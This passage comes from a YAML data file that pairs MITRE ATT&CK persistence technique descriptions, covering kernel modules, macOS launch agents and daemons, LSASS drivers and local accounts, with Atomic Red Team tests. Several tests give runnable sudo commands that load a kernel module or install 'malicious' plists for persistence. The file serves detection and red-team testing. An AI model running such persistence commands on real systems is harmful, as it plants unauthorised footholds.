        description: Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the
          Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.
      - source_name: Rhino Labs Cloud Backdoor September 2019
        url: https://github.com/RhinoSecurityLabs/ccat
        description: Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT).
          Retrieved September 12, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Implant Internal Image
      description: |-
        Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

        A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
      id: attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-12T18:28:27.948Z'
      created: '2019-09-04T12:04:03.552Z'
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Image: Image Creation'
      - 'Image: Image Modification'
      x_mitre_detection: "Monitor interactions with images and containers by users
        to identify ones that are added or modified anomalously.\n\nIn containerized
        environments, changes may be detectable by monitoring the Docker daemon logs
        or setting up and monitoring Kubernetes audit logs depending on registry configuration. "
      x_mitre_permissions_required:
      - User
      x_mitre_version: '2.0'
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Praetorian
      x_mitre_platforms:
      - IaaS
      - Containers
    atomic_tests: []
  T1547.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.006
        url: https://attack.mitre.org/techniques/T1547/006
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
          Retrieved April 6, 2018.
        source_name: Linux Kernel Module Programming Guide
      - url: http://www.megasecurity.org/papers/Rootkits.pdf
        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
          April 6, 2018.
        source_name: iDefense Rootkit Overview
      - source_name: Apple Kernel Extension Deprecation
        url: https://developer.apple.com/support/kernel-extensions/
        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
          Alternatives. Retrieved November 4, 2020.
      - url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
        source_name: Volatility Phalanx2
      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
        source_name: CrowdStrike Linux Rootkit
      - url: https://github.com/f0rb1dd3n/Reptile
        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
          April 9, 2018.
        source_name: GitHub Reptile
      - url: https://github.com/m0nad/Diamorphine
        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
        source_name: GitHub Diamorphine
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
          Retrieved April 6, 2018.
        source_name: RSAC 2015 San Francisco Patrick Wardle
      - url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
          Extension Loading’ is Broken. Retrieved April 6, 2018.
        source_name: Synack Secure Kernel Extension Broken
      - url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
          your MacOS spy. Retrieved April 6, 2018.'
        source_name: Securelist Ventir
      - source_name: Trend Micro Skidmap
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
          Retrieved June 4, 2020.
      - url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
        description: Henderson, B. (2006, September 24). How To Insert And Remove
          LKMs. Retrieved April 9, 2018.
        source_name: Linux Loadable Kernel Module Insert and Remove LKMs
      - url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
          April 9, 2018.
        source_name: Wikipedia Loadable Kernel Module
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Kernel Modules and Extensions
      description: |-
        Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) 

        When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

        Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)

        Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)
      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-03-30T00:59:53.716Z'
      created: '2020-01-24T17:42:23.339Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - root
      x_mitre_detection: |-
        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

        For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.

        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Kernel: Kernel Module Load'
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      - Anastasios Pingios
      - Jeremy Galloway
      - Red Canary
      x_mitre_platforms:
      - macOS
      - Linux
      identifier: T1547.006
    atomic_tests:
    - name: Linux - Load Kernel Module via insmod
      auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23
      description: 'This test uses the insmod command to load a kernel module for
        Linux.

'
      supported_platforms:
      - linux
      input_arguments:
        module_name:
          description: Name of the kernel module name.
          type: String
          default: T1547006
        module_path:
          description: Folder used to store the module.
          type: Path
          default: "/tmp/T1547.006/T1547006.ko"
        temp_folder:
          description: Temp folder used to compile the code.
          type: Path
          default: "/tmp/T1547.006"
        module_source_path:
          description: Path to download Gsecdump binary file
          type: Url
          default: PathToAtomicsFolder/T1547.006/src
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

'
        prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;
          cp #{module_source_path}/* #{temp_folder}/
          cd #{temp_folder}; make
          if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi;
      executor:
        command: 'sudo insmod #{module_path}

'
        cleanup_command: |
          sudo rmmod #{module_name}
          [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
        name: bash
        elevation_required: true
  T1546.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.006
        url: https://attack.mitre.org/techniques/T1546/006
      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        source_name: Writing Bad Malware for OSX
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LC_LOAD_DYLIB Addition
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)
      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-30T00:51:58.454Z'
      created: '2020-01-24T14:21:52.750Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor processes for those that may be used to modify binary
        headers. Monitor file systems for changes to application binaries and invalid
        checksums/signatures. Changes to binaries that do not line up with application
        updates or patches are also extremely suspicious.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_platforms:
      - macOS
    atomic_tests: []
  T1547.008:
    technique:
      created: '2020-01-24T18:38:55.801Z'
      modified: '2020-03-25T16:52:26.567Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
      description: |-
        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
      name: LSASS Driver
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.008
        url: https://attack.mitre.org/techniques/T1547/008
      - url: https://technet.microsoft.com/library/cc961760.aspx
        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
          November 27, 2017.
        source_name: Microsoft Security Subsystem
      - url: https://technet.microsoft.com/library/dn408187.aspx
        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
          Retrieved November 27, 2017.
        source_name: Microsoft LSA Protection Mar 2014
      - url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
          27, 2017.
        source_name: Microsoft DLL Security
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Driver: Driver Load'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
        3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
        Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
        (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
        utility (Citation: TechNet Autoruns) to examine loaded drivers associated
        with the LSA. "
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1543.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543.001
        url: https://attack.mitre.org/techniques/T1543/001
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
        source_name: OceanLotus for OS X
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launch Agent
      description: "Adversaries may create or modify launch agents to repeatedly execute
        malicious payloads as part of persistence. Per Apple’s developer documentation,
        when a user logs in, a per-user launchd process is started which loads the
        parameters for each launch-on-demand user agent from the property list (plist)
        files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>,
        and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent
        Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).
        These launch agents have property list files which point to the executables
        that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install
        a new launch agent that can be configured to execute at login by using launchd
        or launchctl to load a plist into the appropriate directories  (Citation:
        Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The
        agent name may be disguised by using a name from a related operating system
        or benign software. Launch Agents are created with user level privileges and
        are executed with the privileges of the user when they log in (Citation: OSX
        Malware Detection) (Citation: OceanLotus for OS X). They can be set up to
        execute when a specific user logs in (in the specific user’s directory structure)
        or when any user logs in (which requires administrator privileges)."
      id: attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T22:11:45.513Z'
      created: '2020-01-17T16:10:58.592Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_detection: Monitor Launch Agent creation through additional plist files
        and utilities such as Objective-See’s  KnockKnock application. Launch Agents
        also require files on disk for persistence which can also be monitored via
        other file monitoring applications.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_platforms:
      - macOS
      identifier: T1543.001
    atomic_tests:
    - name: Launch Agent
      auto_generated_guid: a5983dee-bf6c-4eaf-951c-dbc1a7b90900
      description: 'Create a plist and execute it

'
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: String
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: String
          default: "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

'
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "The shared library doesn''t exist. Check the path";
          exit 1;

'
      executor:
        name: bash
        elevation_required: true
        command: |
          if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
          sudo cp #{path_malicious_plist} ~/Library/LaunchAgents/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchAgents/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload ~/Library/LaunchAgents/#{plist_filename}
          sudo rm ~/Library/LaunchAgents/#{plist_filename}
  T1543.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543.004
        url: https://attack.mitre.org/techniques/T1543/004
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        source_name: WireLurker
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launch Daemon
      description: "Adversaries may create or modify launch daemons to repeatedly
        execute malicious payloads as part of persistence. Per Apple’s developer documentation,
        when macOS and OS X boot up, launchd is run to finish system initialization.
        This process loads the parameters for each launch-on-demand system-level daemon
        from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code>
        and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent
        Daemons). These LaunchDaemons have property list files which point to the
        executables that will be launched (Citation: Methods of Mac Malware Persistence).
        \n\nAdversaries may install a new launch daemon that can be configured to
        execute at startup by using launchd or launchctl to load a plist into the
        appropriate directories  (Citation: OSX Malware Detection). The daemon name
        may be disguised by using a name from a related operating system or benign
        software (Citation: WireLurker). Launch Daemons may be created with administrator
        privileges, but are executed under root privileges, so an adversary may also
        use a service to escalate privileges from administrator to root. \n\nThe plist
        file permissions must be root:wheel, but the script or program that it points
        to has no such requirement. So, it is possible for poor configurations to
        allow an adversary to modify a current Launch Daemon’s executable and gain
        persistence or Privilege Escalation. "
      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-09-16T15:46:44.130Z'
      created: '2020-01-17T19:23:15.227Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Monitor for launch daemon creation or modification through
        plist files and utilities such as Objective-See''s KnockKnock application. '
      x_mitre_platforms:
      - macOS
      identifier: T1543.004
    atomic_tests:
    - name: Launch Daemon
      auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf
      description: 'Utilize LaunchDaemon to launch `Hello World`

'
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: String
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: String
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

'
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

'
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}
          sudo rm /Library/LaunchDaemons/#{plist_filename}
  T1053.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.004
        url: https://attack.mitre.org/techniques/T1053/004
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Launchd
      description: |-
        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:41:14.739Z'
      created: '2019-12-03T14:15:27.452Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - root
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - macOS
      identifier: T1053.004
    atomic_tests:
    - name: Event Monitor Daemon Persistence
      auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
      description: "This test adds persistence via a plist to execute via the macOS
        Event Monitor Daemon. \n"
      supported_platforms:
      - macos
      input_arguments:
        script_location:
          description: evil plist location
          type: Path
          default: "$PathToAtomicsFolder/T1053.004/src/atomicredteam_T1053_004.plist"
        script_destination:
          description: Path where to move the evil plist
          type: Path
          default: "/etc/emond.d/rules/atomicredteam_T1053_004.plist"
        empty_file:
          description: Random name of the empty file used to trigger emond service
          type: String
          default: randomflag
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{script_location} #{script_destination}
          sudo touch /private/var/db/emondClients/#{empty_file}
        cleanup_command: |
          sudo rm #{script_destination}
          sudo rm /private/var/db/emondClients/#{empty_file}
  T1136.001:
    technique:
      created: '2020-01-28T13:50:22.506Z'
      modified: '2020-03-23T18:04:20.780Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--635cbe30-392d-4e27-978e-66774357c762
      description: |-
        Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account.

        Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
      name: Local Account
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1136.001
        url: https://attack.mitre.org/techniques/T1136/001
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor for processes and command-line parameters associated
        with local account creation, such as <code>net user /add</code> or <code>useradd</code>.
        Collect data on account creation within a network. Event ID 4720 is generated
